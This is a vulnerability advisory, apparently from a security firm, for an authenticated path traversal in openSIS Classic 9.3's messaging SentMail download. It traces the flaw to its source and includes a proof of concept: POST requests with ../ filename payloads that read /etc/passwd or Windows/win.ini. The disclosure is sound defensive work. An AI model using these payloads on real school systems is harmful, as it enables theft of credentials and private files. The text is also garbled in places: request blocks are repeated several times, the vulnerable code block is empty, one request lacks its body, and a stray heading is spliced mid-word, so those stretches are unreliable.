openSIS Classic 9.3 - Authenticated path traversal in SentMail attachment download

5.3

Medium

Discovered by

Daniel Esteban Celis

External researcher

Summary

Full name

openSIS Classic 9.3 - Authenticated path traversal in SentMail attachment download

Code name

State

Public

Release date

Affected product

openSIS Classic

Vendor

openSIS

Affected version(s)

9.3

Vulnerability name

Lack of data validation - Path Traversal

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

5.3

Exploit available

Yes

Description

openSIS Classic 9.3 contains an authenticated path traversal vulnerability in the legacy messaging sent-mail attachment download flow.

An authenticated user with access to the M 063. Lack of data validation - Path Traversalessaging module can send a crafted POST request to the AJAX module loader for messaging/SentMail.php. The vulnerable code takes the attacker-controlled filename parameter, prepends ./assets/, and passes the resulting path to a file download helper. Because only backslashes are replaced, Unix-style traversal sequences such as ../ remain intact and can be resolved by PHP outside the intended assets directory.

Successful exploitation allows an authenticated low-privileged user, including a student, parent, teacher, or staff account with Messaging access, to read arbitrary files that are readable by the web server process. This can expose configuration files, local system files, database credentials, or other sensitive server-side data.

Vulnerability

Root cause

  1. The AJAX endpoint loads menu-allowed modules for authenticated users.

    • Ajax.php:30-34 starts the request and includes common functions.

    • Ajax.php:96-103 validates the URL and applies strip_tags recursively to request values.

    • Ajax.php:106 applies sqlSecurityFilter() only to modname.

    • Ajax.php:234-258 loads modules/$modname when the module appears in the menu.

    • modules/messaging/Menu.php:30-59 exposes messaging/SentMail.php to admin, teacher, parent, and student profiles.

  2. The query-string traversal guard does not inspect POST body parameters. validateQueryString(curPageURL()) inspects the current URL, but the exploit places filename in the POST body:

    POST /opensis/Ajax.php?modname=messaging/SentMail.php&ajax=true
    Content-Type: application/x-www-form-urlencoded
    
    modfunc=save&filename=../../../../../../etc/passwd&name=hack.txt
    POST /opensis/Ajax.php?modname=messaging/SentMail.php&ajax=true
    Content-Type: application/x-www-form-urlencoded
    
    modfunc=save&filename=../../../../../../etc/passwd&name=hack.txt
    POST /opensis/Ajax.php?modname=messaging/SentMail.php&ajax=true
    Content-Type: application/x-www-form-urlencoded
    
    modfunc=save&filename=../../../../../../etc/passwd&name=hack.txt
    POST /opensis/Ajax.php?modname=messaging/SentMail.php&ajax=true
    Content-Type: application/x-www-form-urlencoded
    
    modfunc=save&filename=../../../../../../etc/passwd&name=hack.txt

    The URL itself contains no ../, so the body value reaches the included module.

  3. SentMail.php builds a filesystem path from untrusted input. modules/messaging/SentMail.php:282-290:

    
    
    
    
    
    
    
    

    This replaces Windows backslashes only. It does not reject ../, URL-normalized traversal, absolute paths, or paths whose canonical location is outside ./assets/.

  4. The download helper reads and prints the resolved file. modules/messaging/SentMail.php:293-374 checks is_readable($file), opens the path with fopen($file, 'r'), reads it with fread(), and prints each buffer to the HTTP response.

Confirmed source-to-sink path

  1. Source: attacker-controlled POST body parameter filename.

  2. Dispatcher: Ajax.php validates the URL and includes modules/messaging/SentMail.php because the Messaging menu allows it.

  3. Weak normalization: SentMail.php replaces \ with spaces but leaves / and ../ untouched.

  4. Path construction: ./assets/ is concatenated with the attacker-controlled filename.

  5. Sink: output_file() reads the resolved path and returns its contents as an attachment.

Related vulnerable code

The same attachment download pattern also exists in modules/messaging/Inbox.php:575-584 and modules/messaging/Inbox.php:870-918. Public CVEs already cover the Inbox path in older openSIS versions. This report focuses on the still-present SentMail.php path in openSIS Classic 9.3.

PoC

Preconditions

  • openSIS Classic Community Edition 9.3.

  • A valid authenticated user account with access to Messaging.

  • Application reachable at http://<HOST>/opensis/.

Reproduction

  1. Log in as a low-privileged user that can access Messaging, such as a student, parent, teacher, or staff user.

  2. Send the following request with the authenticated session cookie:

    POST /opensis/Ajax.php?modname=messaging/SentMail.php&ajax=true HTTP/1.1
    Host: <HOST>
    Cookie: PHPSESSID=<authenticated-session>
    
    
    POST /opensis/Ajax.php?modname=messaging/SentMail.php&ajax=true HTTP/1.1
    Host: <HOST>
    Cookie: PHPSESSID=<authenticated-session>
    
    
    POST /opensis/Ajax.php?modname=messaging/SentMail.php&ajax=true HTTP/1.1
    Host: <HOST>
    Cookie: PHPSESSID=<authenticated-session>
    
    
    POST /opensis/Ajax.php?modname=messaging/SentMail.php&ajax=true HTTP/1.1
    Host: <HOST>
    Cookie: PHPSESSID=<authenticated-session>
    
    
  3. On Windows targets, use forward slashes:

    modfunc=save&filename=../../../../../../Windows/win.ini&name=hack.txt
    modfunc=save&filename=../../../../../../Windows/win.ini&name=hack.txt
    modfunc=save&filename=../../../../../../Windows/win.ini&name=hack.txt
    modfunc=save&filename=../../../../../../Windows/win.ini&name=hack.txt
  4. Adjust the number of ../ segments to match the deployment path depth.

Expected result:

  • The server responds with an attachment named hack.txt.

  • The attachment body contains the requested file contents outside the intended assets directory.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-11944 to refer to this issue from now on.

Disclosure policy

System Information

  • openSIS Classic

  • Version: 9.3 Community Edition

  • Operating System: Any deployment running the affected openSIS Classic messaging module

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Daniel Celis, an independent security researcher.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Follow-up with vendor

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2026 Fluid Attacks. We hack your software.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

© 2026 Fluid Attacks. We hack your software.